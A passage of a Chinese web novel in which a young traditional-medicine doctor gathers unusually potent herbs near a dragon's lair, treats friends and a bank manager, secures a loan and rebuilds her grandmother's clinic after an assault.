戈得温简直快被她这无力又冒犯的举动给气笑了，要不是知道没人可以不受蓝风的魔法作用，他简直觉得这个人类正在戏耍自己。
所有的龙族从小就知道，只要他们生活之地，周围寸草不生，这个草指的正是魔法植物。这是所有龙族的通病，只要他们生活过的地方，周围就会长满对魔法修炼毫无作用的普通杂草。
戈得温挑眉，“你为什么觉得那些杂草是宝贝？”
这个说法，还是头一回从一个人类身上听说，既然这个人类会选择学习如此另辟蹊径的魔法，也许在她眼里，这些杂草真就是特别的存在呢。
申姜这次反应很快，简直不假思索就能娓娓道来：“温补圣品肉苁蓉，补血圣品当归，还有止血首选三七，药食同源天麻，补气是黄芪……太多了，关键它们长得那么漂亮。”
戈得温：“……”
又来了，他不禁想起她上次夸赞那块小绿宝石时的场景。
这种随便一个破烂都能吹上天的臭毛病，她到底是从哪学来的。
到底是谁给她的勇气，让她将那些毫无魔法气息的杂草夸得天花乱坠。
“那些杂草可没有一点魔法元素，炼制不出来任何魔法药剂。”戈得温实在忍不住要纠正人类偏差的认知。
“不是杂草，是宝贝！”
申姜皱起眉，很是不满，语气笃定得不可忤逆。
戈得温被她这副据理力争又理所当然的样子逗笑了，他竟然不知道，这个人类还有这样胆大妄为的一面。
显然，她的内心并不像她表现出来的那样恭顺。
戈得温更欣赏她这样有魄力的样子。毕竟，此刻她认真维护的，是他龙穴之外不值一提的杂草们。
此刻，他被一种微妙的难以言说的愉悦感包围，这种感觉陌生却十分舒适，和以往那种把银龙或是红龙痛快揍一顿的感觉截然不同。
战胜强者的痛快更加酣畅淋漓，不像现在，身体里这种说不清道不明的愉悦和得意，让戈得温的利落的脸部线条柔和了不少。
虽然人类不想得到自己独一无二的另眼相待，不想学龙族强大的魔法，不想要龙穴里那些惊世财宝。
她将伴龙而生的这些杂草视若珍宝。
明明它们那么平平无奇。
这或许不是他意料中的答案，但戈得温觉得，没有这个答案更让他满意的了。
一个没有任何野心，只贪图巨龙身边杂草的信徒。
蓝风的效果就快要过去了，就让他来问最后一个问题吧。
“除了那些杂草，你内心还有没有其他对我的渴望？尽情向伟大又仁慈的火龙戈得温诉说吧。”
申姜一片茫然的眼睛里微微透出几分向往，戈得温见此露出几分得意的神色。
“好想让大黑龙带我飞一次。”
戈得温：“……”
小小信徒，梦想离谱至极。
他绝不会容许一个卑微的人类骑在自己的身体上。
“咳咳……我劝你最好别做这种虚无缥缈的蠢梦。
现在，你可以告诉我，你的名字。”
“申姜，我叫申姜。”
“我宣布，我允许你成为我的第一个人类信徒，申姜。”
声量浑厚的龙语透过层层的雾气，抵达申姜的脑海，驱散了扰乱她思绪的阴霾。紧接着，束缚住身体的奇异感觉消失了，空气中冗杂的背景音再度充斥耳畔。
申姜终于拿回了对自己身体的掌控权。
她惊疑不定的望着面前的巨龙，久久说不出话来。
刚刚发生的一切她都知道，可她就是没有办法控制自己，巨龙问一句，她就忍不住把心底的想法说出来。
那朵蓝色妖花的作用不言而喻，被人控制灵魂说出内心最真实的想法，这和当面被扒光衣服赤身果体有什么区别。她甚至觉得被龙窥探内心比让她裸奔更让人觉得羞耻。
申姜这会儿终于能用脑子好好思考刚刚有没有说错话。
这龙似乎十分谨慎，压根不关心她是否真心追随她，提问的角度十分刁钻。
那种高高在上不可一世的嘴脸，令申姜十分不爽，但她自知对这条龙毫无办法。
所以她一怒之下，怒了一下。
“尊敬的戈得温大人，请问您现在对我有何指示？”新任信徒申姜向龙请求指示。
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戈得温看见她这副低眉顺眼的样子就来气，畏首畏尾，没有半点刚才和他争辩时流露出来的惊人气势。
那种微妙的愉悦感顿时消散大半，戈得温不满的甩了甩尾巴，将那些碍眼的杂草们甩飞。
人类果然露出了一个心疼的表情，明明还是低眉顺眼的模样，但戈得温就是看出了她的心疼。
“你不是喜欢那些杂草吗，赶紧拥抱它们，把它们带回家炫耀去吧。”戈得温不耐烦的说道，似乎巴不得她赶紧消失。
申姜当然听出了他语气里的不爽，她不懂明明刚刚不是还一副欣然接受她成为信徒的模样。但她很是识相的背着背篓立刻退后十几米，生怕这瘟神突然发作杀人灭口。
戈得温面无表情地看着人类背着一个用树枝编制出来的小筐，惊慌失措的往山里跑去。
呵。
装模作样的人类。
*
申姜没有想到，恶龙明明动了怒，却也没有对着她发作，而是任由自己跑掉了。
冷静下来回过头细品刚才的对话，才发现这条龙远比她想象的要更加聪明和敏锐。
原本她庆幸恶龙的开门见山，没有问她是否真心这种无关痛痒的问题。
但细思极恐。
为了满足私欲，或是贪图龙族强大实力，甚至垂涎龙的财宝而选择崇拜龙，这些私欲都可以一颗真心为名，冠以最冠冕堂皇的表象。
即使是最虔诚真挚的信徒，人心之下也难免掩藏着不能见人的欲望。
倒是她，阴差阳错，假装是恶龙的信徒，因为打着这座山上草药的主意，反而被恶龙当作是真正的信徒。
应该就是刚才她暴露真心时的无礼冒犯，惹怒了恶龙。
下次得更加注意言行举止，申姜在心里提醒自己。
她自然不会凑去黑龙面前露脸讨嫌，这座山上遍地是草药，她在哪摘都是一样的，只不过这里的草药明显要比山上头的数量稀疏很多，品相也没有龙穴外那么出色。
申姜想了想，放弃了自己原先的路线，决定迂回前进，从这里直接绕到龙穴背面的山脊。
一个小时后，申姜带着她的镰刀硬生生开辟出了一条蜿蜒的小道。
果不其然，这里的植物没有辜负她喘着粗气一路砍上来的艰辛，申姜放下手里的镰刀，一屁股坐到树荫下，从背篓里拿出零零散散的装备放到一处，先吃了根巧克力补充体力。
尽管这个地方看起来仍旧在蓝星，但申姜总觉得这里好像和自己的世界隔了一个次元。
既然梦境中说整个宇宙是由无数个小说世界组成，那这里会不会是另一个小说世界？
而那扇金色大门，会不会就是两个世界空间缝隙的产物。
第二次进入这里，申姜适应良好，巨龙收了她当园丁信徒，暂时不至于要她命。
至于回家，她知道金色大门会准时来接她下班，规律感使人内心安定。
申姜吹着山间的风，感受着嘴里的甜蜜化开，想象着奶奶醒来时的样子，浑身充满了干劲。
休整过后，申姜摩拳擦掌，开始巡视恶龙的后山。
17.江湖郎中
后山的勃勃生机让人惊喜，这里的草药种类和前头的大不相同。
申姜没想到，自己才刚走了几步，就看到列在清单上的药材。
靠近龙穴那侧的左面是一小片无叶草，也就是麻黄，根茎都可以入药，有发汗解表的作用。
麻黄最好的采摘期应该在寒露或霜降之后，现在申姜的体感温度不热也不冷，这里的季节应该和她那差不多，偏向春夏交接，按理来说并不是采摘期。
申姜不由想起上次那株药效惊人的三七。
要知道，药材的采摘也是有最佳时限的。
一般药农会在三七花蕾期摘取花蕾，将营养全留给根部，到时候挖出来的就是春三七。
而这山头的野生三七已经长出了饱满硕大的三七红籽，掠夺了根部大量营养，被她摘走的充其量只能算是冬三七。
全株营养都供给根部的春三七，绝对是冬三七无法比拟的，不管是从品质还是药效，都远胜于冬三七。
但那株冬三七仍有十分显著的药效！
要是她能在花蕾期提前将三七花蕾清除，等到了时候再采摘，春三七药效会不会更加惊人？！申姜的呼吸不由急促起来。
事实上，申姜完全不确定她以往掌握的药材知识，在这座龙山还适不适用。
毕竟按她掌握的知识，道地药材都有自己适合的生长环境，比如三七应该在冬暖夏凉的深山老林，肉苁蓉应该在沙地，黄连应该在高山寒湿的林荫下……
但此时它们都挤在这座龙的山头肆意生长，用实际行动告诉她，它们在这里适应良好。这山上出品的药材，即使是药效稍逊色的冬三七，也远胜过她那世界的道地三七。
申姜没多深究这个问题，至于药材效力有没有可能再进一步提升，她只需要对比几次就能明了。
申姜迫不及待在手机上记录下这个新发现。
1.7月清理三七花蕾，9月采摘三七。
2.霜降后采摘麻黄。
饶是申姜记性极好也不敢托大，这里的药材多且杂，光靠记忆力工程量极大，长时间很容易有遗漏。正所谓好记性不如烂笔头，更何况她还是会偷懒的。
毕竟她只有自己一个劳动力，要想事半功倍，就得提前做好部署。这些数据只需要提前输进电脑，时间到了就会自动提醒她。
趁着寻找奶奶和梓宁所需药材的同时，申姜顺便将这山头的草药做个了大致情况汇总。
搓搓小手，申姜有些期待起来，要是采摘时间真对药材有影响，她简直不敢想这里的草药药效会到什么地步。
采摘麻黄时，申姜注意到它们不远处就是一片绿油油的乌头，乌头得名由来是它根茎中央黑黢黢的母根，只有母根能被称为乌头，在母根附近附着的那一圈侧根才是附子。乌头的毒性远大于附子，它们的作用也大不一样。附子主要功能是回阳救逆，乌头则是散寒祛湿常用药。
这是申姜十岁时硬要跟着奶奶一起去山上采药，奶奶在现场教她的药理知识。
当时她睁大了眼睛问：“那它们的关系就像我跟妈妈一样咯？”
“是，我们小骨真聪明，一下子就记住了它们的特点。”
奶奶跟她说过的每一句话，她都记得。
甚至记得当时的风、阳光，还有奶奶身上的皂角香。
申姜闭上眼定了定神，再睁开时眼神里只剩下坚定。
*
陈全顶着个熊猫眼出现在食堂门口时，梓宁嘴里的咀嚼动作一停，差点没被他这副被吸干了魂的样子吓到。
“怎么回事啊你，晚上做贼去了？”
陈全的眼神很是呆滞，他径直坐到她对面，手放在桌下摩挲，状似不经意地问道：“你说我应该没啥毛病吧，这脖子不像有结节的样子啊。”
说着他忍不住又摸了摸自己光滑的脖颈。
“你别告诉我你不想去做检查了吧？”梓宁斜睨他一眼，像是在嘲笑他怂了。
陈全脸色不自然的支支吾吾道：“怎么可能。”
梓宁吃着鸡蛋饼含糊不清：“那就行，坐下来吃点，咱们一会准时出发！”
陈全有气无力的拿出手机开始查，“一般做检查前是不是要空腹啊……哦，网上说可以吃。唉，我没胃口。”
梓宁看他这样半死不活的样子，不由停下筷子，她突然回过味来，“欸，你该不会是害怕了吧？”
陈全心虚地避开她的视线：“……怎么可能。”
陈全也不知道自己是怎么了，昨天脑子里一直在想万一今天确诊了以后他该怎么办，半夜在百度搜索脖子结节，结果搜出来一堆甲状腺结节极有可能是甲状腺癌，还有一堆转移到肺里的病例，看得陈全浑身冰凉。
这是陈全人生第一次和令人闻之色变的癌离得这么近。
他还这么年轻，甚至都没有谈过恋爱……陈全越搜越清醒，到最后眼睁睁看着天就这么亮了。
看清梓宁餐盘里装着的是什么后，陈全不由瞪大了眼睛。
“喂，你吃得也太香了吧！”
他知道梓宁对他只有兄弟之情，没有男女那种朦胧的感觉，但他都这么惨了，她竟然还有心思去买食堂里最难排队的鸡蛋饼，食堂大师傅手工调制的面糊，再盖上新鲜鸡蛋煎煮，只需要一点油和盐就能勾出它们最原始的美味。
太香了，这简直就是对他彻夜难眠最讽刺的嘲笑。
梓宁咽下嘴里的鸡蛋饼：“对啊，为了给你加油打气，我特意早起过来买，排了好久才买到的呢。。”
陈全面色狰狞拿起一块鸡蛋饼，恶狠狠一口咬下，“那我得多吃点，平常想吃都吃不到。”
梓宁：“……”
大哥你刚不是还说没胃口？
*
两人紧赶慢赶到了市里一家三甲医院，光是挂号就捣鼓了大半天。
等终于排上队看上医生，早已日上三竿。
从医生诊室出来，陈全脸色有些红。
梓宁意味不明的看向同伴：“哟，原来不是做ct呀，要做b超～”
上次陈全这小子怎么挖苦申医生来着，好像说‘你以为你是ct机啊’，申医生得多能忍才能忍住没笑出来，医盲啊！
陈全被她这阴阳怪气的语气臊的脸更红了，“我这不是没经验吗。”
等终于在b超室排上了号，护士通知他们下午四点半再来，陈全有些傻眼：“不能早点做吗？”
“大家都排着队呢，想早点做下次早点来啊，都快吃午饭了你才来，今天能做上就不错了。”护士毫不客气。
梓宁没想到光是做个检查都能医院一日游，这会跟陈全两人面面相觑，半点办法都没有。
早知道她就把电脑带到医院来剪剩下的视频了。
等到下午四点，陈全终于进了b超室。
梓宁带着手机进去拍，医生看她连这都要拍，不由稀奇：“你这干啥呢，又不是陪孕妇进来拍小宝宝，我还是头一回看到女朋友给男朋友拍甲状腺的。”
梓宁笑眯眯道：“我这记录生活呢，您照您的，不用管我。”
医生还真就没管她，现在各种拍vlog的网红遍地是，这姑娘长得不错，估计也是做这个的。
医生将注意力放到电脑上，他的神色随着探头的不断移动渐渐严肃起来。
“小伙子，你这情况有点不太好啊。”
梓宁举着手机：“医生，他脖子是有个结节吧？”
“你们已经在别的医院做过检查了？”医生头也不抬的紧紧盯着电脑上的图像反馈。
“没有，是一个中医说我这有个结节。”陈全指了指脖子，白着脸问道：“是不是甲状腺癌，没事，您尽管说，我可以承受。”
b超医生有些稀奇道：“你说这是中医搭脉摸出来的结节？”
陈全见医生回避自己的问题，心里突然生出一股凉意。
明明面对那个中医时，他还有底气说她是瞎说八道骗人，到了这儿，他竟然不敢再问一句。
梓宁看到陈全沉默下来，突然心里有些不舒服，她有些不忍心看他那副无措的样子。
“对。”她问医生，“我朋友情况怎么样啊？”
“哪里的中医啊，有点水平的嘛，
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他这的确有个结节。”
梓宁有些得意，终于有人跟她一样觉得申医生很厉害了，“是明心堂的申姜医生。医生，那我朋友这结节是好还是不好啊？”
等在隔帘后的病人是个女人，坐在轮椅上，形容枯槁，无声无息的静静听着他们对话，在听到那个医生名字时，她不由在心里默念了两句。
明心堂，生姜医生。生姜医生？
好奇怪的名字。
b超医生原本还有些好奇的表情顿时错愕，他从电脑前抬头：“你说的不会是那个……最近闹得沸沸扬扬很出名那个明心堂？”
“不是那家吧？”他补充了一句。
梓宁笑着摇头，说话时带着不自觉的骄傲：“就是那个明心堂！里头的中医很厉害的哦。”
到底南泽市有几个明心堂？
隔帘后排队等待的女病人被他们这几句哑谜搞得一头雾水。
就听里头那个原本和病人聊得正欢的医生突然冷淡下来。
医生冷淡的声音里带着一丝不耐烦：“你们去外面拿报告吧，后面还有病人等着呢。按我的经验来看，这情况不太好，要想确定是不是恶性结节得穿刺后取样化验，现在做不了，你想好了再来找我吧。”
梓宁一噎，瞪大了眼睛不可置信，刚刚还和颜悦色的医生，怎么说翻脸就翻脸。
医生对着隔帘喊道：“林运清到了吗？过来做检查。”
陈全呆滞的用草纸擦拭着脖子上残余的凝胶，仿佛已经被判了刑，一副失魂落魄的样子。
梓宁故意大声道：“走，我们去找申医生。”
陈全没反应过来，慢了半拍才开口：“啊？”
“你傻啊，申医生既然能诊出来你有结节，那她肯定能治啊，我们现在就找她治病去。”
“你说的对！”陈全的眼里一下子生出希冀的光。
b超医生忍不住提醒这俩年轻人：“别随随便便找外头的江湖郎中吃偏方，到时候后悔都来不及！”
梓宁眼皮一跳，反驳道：“申医生才不是江湖郎中，她是正儿八经大学毕业的，有医师资格证。”
“呵，你们要是不怕也吃出个肾衰竭来，那就尽管去好了。”医生冷笑道，一副过来人口气，话里话外充满了对这家中医馆的不屑。
陈全无措的看向医生，医生见他这样，又觉得他挺可怜：“你不用怕，良性的结节不用治，就算是甲癌，找个经验丰富的医生做个手术把甲状腺切掉就没事了。但你要是乱吃药刺激了结节，到时候可就真不好说了。”
有道理。
陈全转头对梓宁犹豫道，“要不……我还是先去看看西医怎么说吧。”
梓宁冷笑一声：“陈全，没想到你这么没种。要不是申医生，你压根就发现不了自己有结节这事，你倒好，不感激她还说了那么冒犯人的话。现在别人说她是江湖郎中，你听得下去，我不行。”
她扭头对b超医生道：“都是医生，怎么医院外的就不是医生了？是江湖郎中了？敢情你们医院从来没有过医闹呗。”
医生皱起眉，不满道：“小姑娘，要知道一个巴掌拍不响。我是为了你朋友着想，别狗咬吕洞宾……”
你才是狗！
梓宁冷笑：“现在事情都没有盖棺定论，你们光看网上的消息就觉得是医生的问题，这种无端的揣测才是最伤人的。我可以告诉你，明心堂的医闹背后另有隐情，她们完全是受害方。”
医生脸上闪过不悦，他不耐烦起来，“你说完没有，我这还有病人呢。你要是再闹我可叫保安了啊。”
梓宁也懒得再跟他废话，她面无表情地看向陈全：“这医生看不出来，我倒是知道你的结节什么情况。那天申医生跟我说过，你这结节是良性的。既然她能诊出来你什么毛病，那肯定是有把握才敢说是良性，把你那颗怂心放回肚子里去吧。”
说完这些，梓宁直接扭头离去。
她竟然会把这种怂货当成好朋友，真是瞎了眼。
b超医生这会也坐不住了，他站起来，“小伙子，你别走！我给这个病人照完我再给你好好看看！”
18.一年为期
回到明心堂，连上网络的手机时间一下子从下午五点跳回清晨五点。
申姜眼皮一跳，和上次回来一样的时间点？
她好像隐隐约约摸到了一些金色大门的规律。
这回她带回来的药材足足装满了三大袋。除了梓宁和奶奶需要的药材，她还另外带回来不少正值采摘期的药材，川穹、赤芍、麻黄、附子、细辛、白术，趁着时间尚早，申姜先将它们一一分类，放进竹篾编织的簸箕中，就等小表叔过来帮她炮制。
申姜从中挑出给梓宁治疗鼻炎用到的药材。
梓宁的鼻炎是因为阳气不足脾胃虚弱，她给梓宁开了麻黄附子细辛汤合桂枝汤玉屏风散，麻黄附子细辛汤可以助阳解表，桂枝汤调和营卫，玉屏风散益气固表，三者合一正好对症梓宁的病症。
想到龙山出品的药材效力，申姜一时有些摸不准药量，索性拿出其中一枚附子，打算试试药效。
只轻轻舔舐了一口。
紧接着，嘴麻了，连带着脸颊都有些微微的麻木感。
比她以前尝过的生附子药效生猛太多。
申姜心里有了数，立刻在药量做出调整。
根据这些药材的效力，她先给梓宁开了三副药。
忙完这些，时间一下子到了七点半。
申姜迫不及待给以往和明心堂合作的几家药材店打电话，打算把这批药效惊人的药材转手卖出去，先把奶奶最近的医药费凑齐。
没想到，第一个电话直接就被挂断了，第二个也是。
接着是第三个药材商，他倒是听完了申姜的话，不过他在电话里对着申姜破口大骂：“他奶奶的，医馆开不下去了就想把药卖给老子，你当我收破烂的啊。你知不知道我店里的生意被你们害得有多惨。南泽市不会有中药店会收你们家的药，你就死了这条心吧！这一大清早的，真是有够晦气！”
申姜看着再度被挂断的电话，有些头疼起来。
是她疏忽了这次医闹的影响力，没想到直接波及到这些中药店的生意。一下得罪了这么多同行，别说把药卖给他们，估计以后想从他们那进药都困难。
巨龙家门口倒是有不少草药，可中药品类繁多，那里没有动物，更没有动物类和矿物类的药材。
要是再不抓紧时间为奶奶澄清误会，明心堂这招牌她保不住，店也别想再开起来。
卖药的路也堵死了，申姜突然有一种预感，命运既定的轨迹早已注定，容不得任何人抗拒，无形之中会逼着她做出和梦境中相同的选择。
这个说不上的第六感，突然让申姜浑身竖起密密麻麻的鸡皮疙瘩。
不行，她不能认输！
她必须想到自救的办法。
除了奶奶的医药费，她还需要一笔钱用来雇佣网络水军。
网络舆论有时候看的并不是真相，而是看谁舍得花钱营销，引导网友做出判断。
申姜已经在上头吃过一次闷亏，这次掌握了先机，要是仍在同一个地方栽跟头，那她也就只配做个炮灰了。
申姜把希望再度放到向银行借钱。
已经一连两家银行拒绝了她，因为最多只能给70岁的抵押人办理抵押贷款，奶奶今年刚好71岁，不符合银行的政策要求。
申姜只能从网上查到的电话一家家问过去，看有没有其他银行愿意给她们这样的情况放贷。
终于在她打得口干唇燥时，真有一家小银行愿意给她们这样的情况放贷。
就是条件苛刻，放贷两百万的本金，利率9.8%。也就是说，她向银行借两百万，需要向银行每月偿还近五万，五年之内还清。
连本带息总计两百五十万。
申姜带着破釜沉舟的决心，直接带着房产证还有委托书直奔那家小银行。
事情宜早不宜迟，申姜仿佛生怕银行后悔似的，冲进银行时还把里头的工作人员吓了一跳。
“申小姐，我要提醒您，银行随时有抽贷的权利，虽然这种概率极小，但如果抽贷时您还不上剩余的钱，银行将会把位于明珠路的这座商铺拍卖抵资，您能接受吗？”
申姜眼皮一跳，心里有种不太好的预感，“你们不会才刚借给我钱，就马上收回去吧？”
银行经理是个三十五岁上下的女性，长相温婉，化着得体妆容。见客户不安起来，她连忙笑着安抚：“您可以放心，目前经济环境欣欣向荣，这种事情发生的概率极小，我只是例行公事提醒您罢了。而且我们银行之情从来没有这样的先例，想必之后也不会发生。”
申姜默默在心里吐槽：还真不一定。毕竟这可是个狗血小说世界。
她神色认真起来：“徐经理，你们至少一年内不能抽贷，否则这太不合理了。”
徐经理想了想，欣然接受了客户的这个要求，毕竟对他们银行来说像这样的优质客户十分难得，要不是客户的年龄超过了许多大银行的要求，想必也不会落到他们银行头上。
申姜：“行，那你把这个写进合同里。”
徐经理有些为难起来，她没想到这位客户看着年轻面嫩，实际上却十分执拗。
即使她再三保证一年内不会抽贷，这位看着面嫩好说话的客户仍旧十分坚持要把这一点落实到合同里。
“其实申小姐，我说的抽贷发生的概率真的很低，您真的不用担心这些。”她试图劝这位年轻的客人不用这样大惊小怪。要是真想把这个条款写进合同，那就得找领导审批签字，她私心里并不想惊动领导。
申姜心想，这位徐经理越是这样说，她才越是觉得写进合同里可太有必要了。
她打量起面前的女经理，对方虽然化着妆，但眼神里仍旧透露出一股深深的疲惫感，
这位徐经理，似乎多说一些话就会呼吸急促，呼吸时还带着些许不明显的哮鸣音。
申姜仔细观察下来，确认是吸气困难。
问题出在肾上头。
申姜状似不经意的抱怨起来：“现在天气热起来了，有时候耳鸣起来，真是难受。”
徐经理听她突然来了一句这样奇怪的话，不仅不诧异，反而很有共同话题，“是不是太闷了？不过现在这季节温度不上不下的，天气变化太快，行里一般不会开空调。”
申姜笑了笑，“没事，徐经理这几天也会耳鸣吗？”
那位徐姓的女经理只当她在闲聊，应和道：“没错，我还以为就我有这个毛病呢，没想到你年纪轻轻也这样。”
“那你会不会黄昏时感觉人特别累？”
“是啊，不过毕竟上了一天班，谁会不累呢。你不用把这种事放在心上，大家都一样。”看得出来，徐经理是个很温柔的人，她自己已经渐渐习惯了这种煎熬，甚至还反过来劝这位年轻的客户放宽心。
申姜心里有了数，不用诊脉也知道她这是典型的肾气不足引起的哮喘。
而她这次从巨龙那进货的麻黄就很适合这位徐经理，其他药材都是医馆里原先就有的。虽然效果没有那么突出，但也不至于拖后腿。<
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p>“徐经理，我知道有个地方能治好你的哮喘。你想不想去看看？”
徐经理有些诧异的抬头：“你怎么知道我有哮喘？”
接着，她恍然大悟道：“你也是病友吧。”
*
申姜从银行出来，手里多了一张崭新的卡。等过几天银行放贷下来，这张卡里就会有两百万。
至少比向高利贷借钱好。
申姜安慰自己。
不知是不是错觉，申姜下意识默认了一年后会抽贷这个微乎其微的概率。一年后，就是这笔借款的截止期限。
不过一年的时间，刚刚好。
按照梦境中的发展，她自杀的时间差不多就在一年后。如果她不能成功在这段时间扭转她和奶奶的炮灰命运，那她也得把这个狗血小说世界搅得天翻地覆。
说起来，这位徐经理倒是很有意思，在以为她也是哮喘病友后，反倒热络起来，直言要帮她试着去找经理谈一谈。并且还真就帮她谈成了，就是又涨了0.5个点的利率。
看着手里新鲜热乎的贷款合同，申姜不由想到徐经理那充满歉意的眼神。
不知道下次她来明心堂看病时，会是什么反应。
*
梓宁从医院回到学校的时候，正好见宿舍楼下有自己的同城闪送包裹，她打开才发现，里头正好是6包已经煎好的中药包附带一张药方。
“天啊，申医生也太细心了吧，竟然直接就把药煎好了寄给我。”梓宁喃喃自语：“不过怎么是三帖？不应该是七贴吗？”
她往常配的中药都是一次七贴啊。
梓宁原本回来时还垮着个脸，这会简直就是眉飞色舞，她手指飞快的手机上点了几下：“谢谢申医生！我已经收到药啦，不过怎么才三贴药量呀？（卖萌表情）”
申姜的回复也很快：“你还年轻，底子好，这三副药下去应该就差不多了。”
这么神？！
真的假的？
梓宁将信将疑地看向那6包药，迫不及待就想试试到底有没有效果。
梓宁也没犹豫，给申医生转了药费后直接问室友借了热水，把药包放进去泡了一会加热，很是豪迈的就打算一饮而尽。
只是才喝了一口，她的脸瞬间皱成了苦瓜脸。
天啊，这药也太难喝了，又麻嘴又苦，简直汇聚了这个世上最可怕的味道。
梓宁捏着鼻子才勉强把药灌下去，眼泪都差点出来了。
不知是不是错觉，梓宁感觉自己原本一直上不来气的鼻子，随着这一刺激，一下子就通畅了不少。
“璐璐，寝室里是不是有股怪味？”梓宁扭头看向隔壁的室友，就见对方的帘子紧闭。
梓宁估计璐璐是被这股怪味给刺激得受不了，这才把帘子给拉起来了。
“……没有呀……刺溜。”
？她在吃什么？
梓宁走过去，微微掀起室友的帘子，就见璐璐正偷偷摸摸享用一碗色泽动人的螺蛳粉，上面还放了一片炸蛋。
两人面面相觑，璐璐讪讪一笑，先开口道：“要不你也来一口？”
“你吃吧，我出去透口气。”梓宁一脸若有所思地走出宿舍，想再去外头闻闻看别的味道。
她的嗅觉因为鼻炎已经失灵很久了，平时璐璐在宿舍里吃螺蛳粉被室友吐槽只有她浑不在意，因为她压根什么也闻不到。
她才吃了一包药，就开始能闻到味了？
神药啊。
噢不，是神医啊。
19.新的伙伴
申姜白天守在医院看医书，乏了就去楼下花园练习站桩的基本功，时光过得极快。
但她仍旧和ICU病房外大部分病人家属一样，神态里有掩藏不住的担忧和疲惫。
只看外表，谁也看不出就是这样一个普通的路人女孩，晚上会到巨龙家门口拔草采药。
既然准备重新将医馆开起来，申姜准备趁这段时间有空，提前将店里那些被毁坏的药材还有以往缺失的珍稀药材都补满。
陈厚康和妻子陈茹在后院见到那些药材时很是吃惊。
原来大姨的路子这么广，啥药都能弄到店里。
显然，夫妻俩误会了什么。
“阿康，大姨以前能要我们的药，真不是看在你是她外甥的份上嘛？”陈茹有些呆滞的看向丈夫，悄悄问出了心里话。
陈厚康黝黑的脸上也闪过怀疑人生的表情。
他一直觉得自家的药材货真价实，他还经常研究怎么能让那些药材长得更好，哪里能想到，明心堂平时进的药竟然是这样的出色。不仅品质高，还种类多，他地里那些，这里都有。
难怪大姨以前对他们的要求那么严苛，敢情她医馆里都是这样的好药材！
这倒不怪陈厚康夫妻俩会误会，以前他们送完药就回去了。
毕竟大姨看病很忙，没空招呼他们。
陈厚康沉声道：“别愣着了，赶紧干活，咱们抓紧时间把这些药材给收拾出来。”
“哦哦，”陈茹反应过来，“差点忘了正事。”
申姜在一旁观察着他们的表情，他们好像并没有惊讶太久，很快就开始了第一个药材——附子的炮制流程，生附子挖出来后很容易腐烂，的确是首当其冲第一个该被炮制的药材。
看着小表叔的脸，她不由想起和他面庞相似的大表叔，他们虽然长得像，可气质浑然不同。
小表叔眉尾上挑，看起来有些凶，加上他不爱说话，沉着脸就能吓哭小孩。而大表叔逢人就笑呵呵的，每次来明心堂送药，要么就把店里的卫生给收拾了，要么帮奶奶把从其他地方收来的新鲜药材炮制好，眼里总能找到活。所以申姜和大表叔更熟悉，打电话时求助第一个就想到了他。
夫妻俩应该是平常培养出了默契，即使不说话，一个眼风就能有条不紊的推进炮制流程。
他们分工合作，清洗完毕，一个负责刮皮、脐，另一个就负责切片，小表婶这边把切好的附子放进煮好甘草水浸泡，小表叔那边就开始准备炒制的工作。不用催，谁也没闲着。
申姜略带审视的目光观察了一阵，渐渐算放下心来。
未来店里会有更多需要炮制的药材，光靠她一个人是忙不过来的，她这次让小表叔他们过来帮忙炮制，其实就是想知道他们炮制的手艺如何。
这批药材质量奇高，虽然小表叔他们为人老实可靠，又是亲戚。但要是小表叔他们炮制的功夫不到家，她是绝不能把这事交给他们的。
附子的炮制工艺五花八门，小表婶没有选用性寒的胆巴，而是选用了性甘的甘草，更好的保留了附子的热性。
申姜不动声色的看在小表叔将炒好的附子放在泥地上，心里很是赞许。
原本就是大热的附子，经过炒制后容易形成火毒，而土性平和，能解火毒。
申姜忍不住高兴起来，这些都是很小的细节，他们俩却仿佛做了千百遍一样娴熟，看来是把奶奶以前教过的炮制工艺给吃透了。
“表叔，表婶，你们辛苦了。喝点水休息一会吧。”申姜笑眯眯的将两杯温水递到他们手中。
沉默寡言的夫妻俩没说话，不约而同拿起水杯就灌，一口气喝到杯子见底，应该是早就渴了。
喝完水，他们也没停下来聊天的意思，继续回去干活。
“先等等。”申姜，“往后要是你们愿意，我想把明心堂炮制草药的工作委托给你们来做。这是明心堂的大门钥匙。”
她略粗糙的手心里，静静躺着一把最普通的古铜色钥匙。
陈厚康皱了皱眉，这是什么话，帮忙来炮制药材也就是顺手的事，反正他们忙完地里的活也没事做，做这些还比空着更加充实。
陈茹的反应和丈夫差不多：“申姜，你不用跟我们见外，这么些药材，我和你表叔两三天就能忙活完。”
申姜摇摇头，“表婶，明心堂很快就要重新开起来了，到时候会需要更多的药材，我是真的需要你们来这帮忙。”
陈厚康的眼睛紧紧盯着面前年轻的女孩，她没比自己的女儿大几岁，面庞稚嫩而洁白，看着一点也不像是能为自己提供稳定工作的医馆主人。
她有把握，给她干炮制能比种药还赚钱？
但当他真的望进她的眼睛时，陈厚康仿佛看见了他大姨年轻时的影子。
那双眼睛里满是沉稳与坚毅，从来不会说什么假大空的话。
陈厚康看了妻子一眼，轻而易举做出了一个关乎他和妻子未来的重大决定。
“行。”
陈茹诧异的回头看他：什么意思？以后自家药材不种了？就来这给这外甥女干活了？
申姜直接把钥匙交到小表婶的手里，很是亲呢的和她的手叠在了一起。
“你们可以考虑几天再给我答复，有任何要求和条件咱们都能商量。最近我白天都会在医院守着，就不回来了，有了钥匙你们直接来就行。”
她在心里悄悄补充道：谢谢，谢谢你们每一次都能来。
*
张警官正在犹豫，要不要给申姜打个电话通知她。
现在事态的发展，对她们祖孙俩来说实在算不上什么好消息。
山国盛已经交代了实情，他爸爸吃的药的确是自己家里卖的药材，但也正是如此，他才更加愤愤不平。
“警官，你评评理，我肯定给我
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爸用的都是最好的药啊。要不是我爸坚持要吃那个庸医老太婆的方子，他怎么可能出事！”
“你给我态度端正点，你把人伤成那样，是要负法律责任的！而且你前几天为什么不说你爸爸吃的药是你店里卖的？为什么要瞒着我们？”
“警官，你可以尽管去查，我都问过市中医院的几个专家了，就是明心堂那个庸医开的方子有问题，我爸本来就怕冷，她还开了一堆大寒的药，好好一个大活人躺着医院里头跟死了没两样，你说这不是草菅人命是什么？”
“那你就能闯进人医馆把人伤成那样？！”
“是那个老太婆她自己靠过来碰瓷我啊，我就是不小心推了她一把，不信你们去查监控啊！”
张警官皱眉，监控里的确和他说的情况一致，山国盛最开始只是把玻璃柜子砸了，后来又把抽屉里的药全都拿出来扔到地上踩，那个老太太应该是心疼药材，突然就一个健步过去制止他……
要他说，这些药材都是身外之物，老太太都七十多了，怎么能跟一个大男人去比力气。
